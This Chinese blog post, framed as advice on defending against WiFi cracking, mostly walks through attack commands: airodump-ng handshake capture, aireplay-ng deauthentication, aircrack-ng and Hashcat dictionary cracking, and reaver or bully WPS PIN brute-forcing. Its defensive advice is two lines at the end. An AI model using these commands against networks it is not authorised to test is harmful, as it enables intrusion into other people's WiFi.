热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

K-1.4.0如何防范WiFiCracking

**本文的主要目的是再次强调如何防范WiFiCracking**首先大致描述一下kalilinux破解wifi的方法与过程。因为了解过程便可加以防范跑包方法:0.输入指令

**

本文的主要目的是再次强调如何防范WiFi Cracking

**

首先大致描述一下kali linux破解wifi的方法与过程。因为了解过程便可加以防范

跑包方法:
0.输入指令 gzip -d /usr/share/wordlists/rockyou.txt.gz 解压kali linux附带的字典文件
1.输入指令 airmon-ng 列出支持监控模式的网卡
2.输入指令airmon-ng start wlan0(假设网卡wlan0是一张支持监控模式的网卡)
3.运行步骤2的指令后若提示“以下进程可能干扰airmon”,则用kill X(X是程序的PID或名字)指令或用airmon-ng check kill指令清楚这些进程,再次执行airmon-ng start wlan0,发现切换成功,这时输入ifconfig发现网卡名字变了,下面的命令用新网卡的名字执行
4.输入airodump-ng wlan0mon 查看附近的wifi热点,并记录下目标热点的BSSID以及频道号
4.输入airodump-ng -c 6 –bssid BC:46:99:66:F9:84 -w ~/ wlan0mon开始抓包

-c指定频道号
–-bssid指定路由器bssid(注意 bssid前有两个“-”)
-w指定抓取的数据包保存位置
最后空格+网卡名(wlan0mon)

这时只要有用户断开连接并重新连接即可自动获取握手包(等待或用步骤5的方法强制用户重连)(此时能看到连接网络的设备,及它们的设备号)
5.不要让步骤4的过程结束,在新的终端使用指令:aireplay-ng -0 2 -a 46:99:66:F9:84 -c B8:E8:56:09:CC:9C wlan0mon

-0表示发起deauthentication攻击
-a指定无线路由器BSSID
-c指定强制断开的设备

6.当我们成功获取握手包,步骤4的界面右上角会提示WPA handshake: x,这时ctrl-c退出,并执行指令airmon-ng stop wlan0mon结束网卡的监控模式

7.输入指令 aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap 破解wifi密码

-a2代表WPA的握手包
-b指定要破解的wifi BSSID。
-w指定字典文件
最后是抓取的包

8.若使用的是有显卡的终端,可以使用Hashcat来破解密码

wps方法:
1.依照“跑包方法”内容,将网卡设置为监控模式
2.输入airodump-ng wlan0mon 查看附近的wifi源,PWR下是信号强度,-60左右信号较好,绝对值越小信号越好,MB下的字符后面有.的说明没有启动WPS功能(暂不确定是没有启动还是不支持,后者可能有支持不启动的情况)
3.使用指令 bully wlan0mon -b xx:xx:xx:xx:xx:xx(BSSID值)或指令reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx可以开始跑pin,得到pin后会直接出密码(也可以手动调出密码)(bully与reaver指令后面都可以加一些设置项,如-c x(x是频道号(CH)可在airodump-ng wlan0mon中查看到))

暂时对自己的几个wifi发射器进行的实验中,跑包方法成功,wps方法部分成功
(以reaver为例分为三个情况:
1.wps未开启,出现associate的timeout,不成功。
2.wps开启,于是associate是成功了,但wps保护较强,直接出现eaplo的timeout,不成功。
3.wps开启且wps保护较强,可以跑pin,但每隔一段时间会禁止跑pin一段时间(此时暂时出现eaplo的timeout),视为成功
情况三是目前看到的最脆弱的wifi发射器,由于wps安全漏洞2011年便被提出,而现在是2018年,所以很多新路由器都进行了很多很强的wps保护
同时这也说明了,越是老的小区,wifi发射器可能就越老,越可能被攻破,就越是要提防wifi cracking的风险)

如何防范:

1.针对跑包方法:设置中英文混合密码,最好加符号
2.针对wps方法:关闭wps


推荐阅读
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 无线认证设置故障排除方法及注意事项
    本文介绍了解决无线认证设置故障的方法和注意事项,包括检查无线路由器工作状态、关闭手机休眠状态下的网络设置、重启路由器、更改认证类型、恢复出厂设置和手机网络设置等。通过这些方法,可以解决无线认证设置可能出现的问题,确保无线网络正常连接和上网。同时,还提供了一些注意事项,以便用户在进行无线认证设置时能够正确操作。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • MyBatis错题分析解析及注意事项
    本文对MyBatis的错题进行了分析和解析,同时介绍了使用MyBatis时需要注意的一些事项,如resultMap的使用、SqlSession和SqlSessionFactory的获取方式、动态SQL中的else元素和when元素的使用、resource属性和url属性的配置方式、typeAliases的使用方法等。同时还指出了在属性名与查询字段名不一致时需要使用resultMap进行结果映射,而不能使用resultType。 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • Linux环境变量函数getenv、putenv、setenv和unsetenv详解
    本文详细解释了Linux中的环境变量函数getenv、putenv、setenv和unsetenv的用法和功能。通过使用这些函数,可以获取、设置和删除环境变量的值。同时给出了相应的函数原型、参数说明和返回值。通过示例代码演示了如何使用getenv函数获取环境变量的值,并打印出来。 ... [详细]
  • JDK源码学习之HashTable(附带面试题)的学习笔记
    本文介绍了JDK源码学习之HashTable(附带面试题)的学习笔记,包括HashTable的定义、数据类型、与HashMap的关系和区别。文章提供了干货,并附带了其他相关主题的学习笔记。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • GreenDAO快速入门
    前言之前在自己做项目的时候,用到了GreenDAO数据库,其实对于数据库辅助工具库从OrmLite,到litePal再到GreenDAO,总是在不停的切换,但是没有真正去了解他们的 ... [详细]
  • Centos下安装memcached+memcached教程
    本文介绍了在Centos下安装memcached和使用memcached的教程,详细解释了memcached的工作原理,包括缓存数据和对象、减少数据库读取次数、提高网站速度等。同时,还对memcached的快速和高效率进行了解释,与传统的文件型数据库相比,memcached作为一个内存型数据库,具有更高的读取速度。 ... [详细]
author-avatar
keleisibuo
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有